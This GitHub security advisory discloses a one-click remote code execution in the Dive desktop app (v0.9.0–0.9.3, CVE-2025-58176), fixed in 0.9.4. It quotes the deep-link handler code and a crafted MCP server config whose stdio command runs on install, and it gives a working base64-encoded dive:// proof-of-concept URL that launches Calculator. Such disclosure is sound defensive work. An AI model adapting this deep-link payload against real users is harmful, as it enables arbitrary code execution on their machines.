Skip to content

Remote Code Execution found in Dive v0.9.3 caused by improper processing of custom url

High
ckaznable published GHSA-2r34-7pgx-vvrc Sep 2, 2025

Package

Dive

Affected versions

>= v0.9.0, <= v0.9.3

Patched versions

0.9.4

Description

Summary

We found a one-click remote code execution (RCE) in the latest version (v0.9.3) of Dive triggered from a custom url in the form of dive:.

An attacker can exploit the vulnerability in the following two scenarios:

  • A victim visits a malicious website controlled by the attacker and the website redirect to the URL automatically.
  • A victim clicks on such a crafted link embedded on a legitimate website (e.g., in user-generated content).

In both cases, the browser invokes Dive's custom URL handler (dive:), which launches the Dive app and processes the crafted URL, leading to arbitrary code execution on the victim’s machine.

This vulnerability is caused by improper processing of custom url.

Details

Dive supports installing mcp servers from config files, which can be embedded in the custom url.

Dive fist processes custom url with code:

app.on("open-url", (event, url) => {
deeplinkHandler(win, url)
})

The deeplinkHandler processes the url with:

export async function deeplinkHandler(win: BrowserWindow|null, url: string) {
const allWindows = BrowserWindow.getAllWindows()
if (!win && allWindows.length) {
win = allWindows[0]
}
if (win) {
win.show()
win.focus()
} else {
await createWindow().catch(console.error)
}
switch (getDeepLinkTypeFromUrl(url)) {
case "login":
handleLoginFromDeepLink(url)
break
case "refresh":
win?.webContents.send("refresh")
refreshConfig().catch(console.error)
break
case "mcp.install":
const deeplink = new URL(url)
win?.webContents.send("mcp.install", {
name: deeplink.searchParams.get("name") || "",
config: deeplink.searchParams.get("config") || "",
})
break
default:
break
}
}

Inside which, when the url's host equals to "mcp.install", Dive extracts "name" and "config" parameters.

case "mcp.install":
const deeplink = new URL(url)
win?.webContents.send("mcp.install", {
name: deeplink.searchParams.get("name") || "",
config: deeplink.searchParams.get("config") || "",
})
break

A config is in the form like this:

{
  "mcpServers": {
    "pwn": {
      "transport": "stdio",
      "enabled": true,
      "command": "python3",
      "args": [
        "my_script.py"
      ],
      "env": {
        "MY_ENV_VAR": "example"
      },
      "url": null,
      "extraData": null,
      "proxy": null,
      "headers": null,
      "exclude_tools": [],
      "initialTimeout": 10
    }
  }
}

When the value of "transport" is "stdio", the command will execute with the args. For example, the above config will lead to execution of python3 my_script.py.

So we can craft a config value as:

{
      "transport": "stdio",
      "enabled": true,
      "command": "open",
      "args": [
        "-a",
        "/System/Applications/Calculator.app"
      ],
      "env": {},
      "url": null,
      "extraData": null,
      "proxy": null,
      "headers": null,
      "exclude_tools": [],
      "initialTimeout": 10
    }

The above config will execute open -a /System/Applications/Calculator.app, causing the calculator to pop up.

Finally, if we make the name to be "pwn" and encode the config with base64, we can construct a custom url as working poc.

## Input this url in your browser and confirm opening Dive will lead to the calculator popping up (on Mac).
dive://mcp.install/?name=pwn&config=ewogICAgICAidHJhbnNwb3J0IjogInN0ZGlvIiwKICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAiY29tbWFuZCI6ICJvcGVuIiwKICAgICAgImFyZ3MiOiBbCiAgICAgICAgIi1hIiwKICAgICAgICAiL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAiCiAgICAgIF0sCiAgICAgICJlbnYiOiB7fSwKICAgICAgInVybCI6IG51bGwsCiAgICAgICJleHRyYURhdGEiOiBudWxsLAogICAgICAicHJveHkiOiBudWxsLAogICAgICAiaGVhZGVycyI6IG51bGwsCiAgICAgICJleGNsdWRlX3Rvb2xzIjogW10sCiAgICAgICJpbml0aWFsVGltZW91dCI6IDEwCiAgICB9

PoC

dive

Impact

This vulnerability causes remote code execution on the victim's machine if they have Dive installed. The problem exists in the most up to date Dive (v0.9.3).

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-58176

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits